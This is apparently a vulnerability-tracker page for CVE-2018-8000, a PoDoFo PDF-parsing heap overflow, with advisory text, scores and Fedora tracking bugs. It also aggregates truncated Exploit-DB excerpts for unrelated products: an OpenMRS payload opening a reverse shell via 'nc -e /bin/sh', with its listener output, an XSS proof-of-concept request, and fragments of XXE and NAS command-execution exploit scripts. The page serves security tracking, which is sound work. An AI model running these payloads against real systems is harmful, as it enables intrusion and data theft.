CVE-2018-8000
published 2018-03-09CVE-2018-8000: In PoDoFo 0.9.5, there exists a heap-based buffer overflow vulnerability in PoDoFo::PdfTokenizer::GetNextToken() in PdfTokenizer.cpp, a related issue to…
PriorityP344high8.8CVSS 3.0
AVNACLPRNUIRSUCHIHAH
EPSS
2.87%
85.4th percentile
In PoDoFo 0.9.5, there exists a heap-based buffer overflow vulnerability in PoDoFo::PdfTokenizer::GetNextToken() in PdfTokenizer.cpp, a related issue to CVE-2017-5886. Remote attackers could leverage this vulnerability to cause a denial-of-service or potentially execute arbitrary code via a crafted pdf file.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| podofo_project | podofo | — | — |
CVSS provenance
nvdv3.08.8HIGHCVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
nvdv2.06.8MEDIUMAV:N/AC:M/Au:N/C:P/I:P/A:P
osv7.8HIGH
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-68hv-95wx-r3jh: In PoDoFo 0
ghsa_unreviewed·2022-05-13·CVSS 7.8
CVE-2018-8000 [HIGH] CWE-787 GHSA-68hv-95wx-r3jh: In PoDoFo 0
In PoDoFo 0.9.5, there exists a heap-based buffer overflow vulnerability in PoDoFo::PdfTokenizer::GetNextToken() in PdfTokenizer.cpp, a related issue to CVE-2017-5886. Remote attackers could leverage this vulnerability to cause a denial-of-service or potentially execute arbitrary code via a crafted pdf file.
OSV
CVE-2018-8000: In PoDoFo 0
osv·2018-03-09·CVSS 7.8
CVE-2018-8000 [HIGH] CVE-2018-8000: In PoDoFo 0
In PoDoFo 0.9.5, there exists a heap-based buffer overflow vulnerability in PoDoFo::PdfTokenizer::GetNextToken() in PdfTokenizer.cpp, a related issue to CVE-2017-5886. Remote attackers could leverage this vulnerability to cause a denial-of-service or potentially execute arbitrary code via a crafted pdf file.
Citrix
CVE-2018-18014: * Lack of authentication in Citrix Xen Mobile through 10.8 allows low-privileged local users to execute system commands as root by making requests to
vendor_citrix·2018-10-24·CVSS 4.8
CVE-2018-18014 [MEDIUM] CWE-287 CVE-2018-18014: * Lack of authentication in Citrix Xen Mobile through 10.8 allows low-privileged local users to execute system commands as root by making requests to
CVE-2018-18014: * Lack of authentication in Citrix Xen Mobile through 10.8 allows low-privileged local users to execute system commands as root by making requests to private services listening on ports 8000, 30000 and 30001. NOTE: the vendor disputes that this is a vulnerability, stating it is "already mitigated by the internal firewall that limits access to configuration services to localhost.
No detection rules found.
Exploit-DB
OpenMRS Platform < 2.24.0 - Insecure Object Deserialization
exploitdb·2019-02-05·CVSS 9.8
CVE-2018-19276 [CRITICAL] OpenMRS Platform < 2.24.0 - Insecure Object Deserialization
OpenMRS Platform
0
false
0
/bin/sh
-c
nc -e /bin/sh 172.16.32.3 8000
false
java.lang.ProcessBuilder
start
foo
foo
false
0
0
false
false
0
The payload above was generated with the marshalsec tool and adapted to use multiple arguments because the original payload would not work well if the attacker need to send several arguments to a Linux host.. After the payload was sent, the handler successfully received a response:
~ » nc -vlp 8000
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 5DE4 9A26 3868 367D 8104 B043 CE14 BAD6 5CC9 DE51
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from 172.16.32.2.
Ncat: Con
Exploit-DB
Bolt CMS < 3.6.2 - Cross-Site Scripting
exploitdb·2018-12-19·CVSS 6.1
CVE-2018-19933 [MEDIUM] Bolt CMS < 3.6.2 - Cross-Site Scripting
Bolt CMS [ https://github.com/rdincel1/Bolt-CMS-3.6.2---Cross-Site-Scripting/raw/master/bolt-v3.6.2.zip ]
# Affected Version: [ alert("Raif")
# Description
Bolt CMS <3.6.2 allows XSS via text input click preview button as demonstrated by the Title field of a Configured and New Entry.
# PoC [Video]: https://youtu.be/3eTPyIpjCJg
# Proof of Concepts:
POST /preview/page HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8000/bolt/editcontent/pages
Content-Type: application/x-www-form-urlencoded
Content-Length: 396
Connection: close
Cookie: b
Exploit-DB
Episerver 7 patch 4 - XML External Entity Injection
exploitdb·2018-08-29
Episerver 7 patch 4 - XML External Entity Injection
Episerver 7 patch 4 - XML External Entity Injection
---
# Exploit Title: Episerver 7 patch 4 - XML External Entity Injection
# Google Dork: N/A
# Date: 2018-08-28
# Exploit Author: Jonas Lejon
# Vendor Homepage: https://www.episerver.se/
# Version: Episerver 7 patch 4 and below
# CVE : N/A
## episploit.py - Blind XXE file read exploit for Episerver 7 patch 4 and below
## Starts a listening webserver, so the exploits needs a public IP and unfiltered port, configure RHOST below!
## Usage: ./episploit.py [file-to-read]
#!/usr/bin/python
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urllib
import re
import sys
import time
import threading
import socket
SERVER_SOCKET = ('0.0.0.0', 8000)
EXFIL_FILE = 'file:///c:/windows/win.ini'
# The public facing IP. Change this
R
Exploit-DB
LG NAS 3718.510.a0 - Remote Command Execution
exploitdb·2018-07-31
LG NAS 3718.510.a0 - Remote Command Execution
LG NAS 3718.510.a0 - Remote Command Execution
---
# LG NAS 3718.510.a0 - Remote Command Execution
# Author: @0x616163
# Date: 2018-07-29
# Credits: https://www.vpnmentor.com/blog/critical-vulnerability-found-majority-lg-nas-devices/
# CVE: N/A
# Firmware Version: 3718.510.a0
#!/usr/bin/env python
import sys
import argparse
import requests
from collections import OrderedDict
def checkUser(target):
# Exploiting this vulnerability requires a valid user account
# on the target NAS otherwise the vulnerable code is not executed
parameters = OrderedDict([('op_mode', 'login'), ('id', 'admin'), ('password', 'pass'), ('mobile', 'false')])
r = requests.post("http://" + target + ":8000/en/php/login_check.php", data=parameters)
if r.text == "NG:WRONG PASSWORD\n":
print "[*] Valid user found: admin
Exploit-DB
Splunk < 7.0.1 - Information Disclosure
exploitdb·2018-06-08·CVSS 5.3
CVE-2018-11409 [MEDIUM] Splunk < 7.0.1 - Information Disclosure
Splunk < 7.0.1 - Information Disclosure
---
# Exploit Title: Splunk < 7.0.1 - Information Disclosure
# Date: 2018-05-23
# Exploit Author: KoF2002
# Vendor Homepage: https://www.splunk.com/
# Version: 6.2.3 - 7.01 MAYBE ALL VERSION AFFECTED
# Tested on: Linux OS
# CVE : CVE-2018-11409
# Splunk through 6.2.3 7.0.1 allows information disclosure by appending
# /__raw/services/server/info/server-info?output_mode=json to a query,
# as demonstrated by discovering a license key and other information.
# PoC :
https://127.0.0.1:8000/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json
# Greats : Cold z3ro , ihab pal and all HTLovers "We Are Back"
Bugzilla
CVE-2018-8000 podofo: heap-based buffer overflow in PoDoFo::PdfTokenizer::GetNextToken() in PdfTokenizer.cpp
bugzilla·2018-03-12·CVSS 7.8
CVE-2018-8000 [HIGH] CVE-2018-8000 podofo: heap-based buffer overflow in PoDoFo::PdfTokenizer::GetNextToken() in PdfTokenizer.cpp
CVE-2018-8000 podofo: heap-based buffer overflow in PoDoFo::PdfTokenizer::GetNextToken() in PdfTokenizer.cpp
A flaw was found in PoDoFo 0.9.5. A heap-based buffer overflow vulnerability in PoDoFo::PdfTokenizer::GetNextToken() in PdfTokenizer.cpp, a related issue to CVE-2017-5886. Remote attackers could leverage this vulnerability to cause a denial-of-service or potentially execute arbitrary code via a crafted pdf file.
References:
https://bugzilla.redhat.com/show_bug.cgi?id=1548918
Discussion:
Created podofo tracking bugs for this issue:
Affects: fedora-all [bug 1554400]
Affects: epel-all [bug 1554399]
Bugzilla
CVE-2018-8000 CVE-2018-8001 CVE-2018-8002 podofo: various flaws [epel-all]
bugzilla·2018-03-12·CVSS 8.8
CVE-2018-8000 [HIGH] CVE-2018-8000 CVE-2018-8001 CVE-2018-8002 podofo: various flaws [epel-all]
CVE-2018-8000 CVE-2018-8001 CVE-2018-8002 podofo: various flaws [epel-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of epel-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
NOTE: this issue affects multiple supported versions of F
Bugzilla
CVE-2018-8002 podofo [fedora-all]
bugzilla·2018-03-12·CVSS 7.8
CVE-2018-8002 [HIGH] CVE-2018-8002 podofo [fedora-all]
CVE-2018-8002 podofo [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of fedora-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
NOTE: this issue affects multiple supported versions of Fedora. While only
one tracking bug has
2018-03-09
Published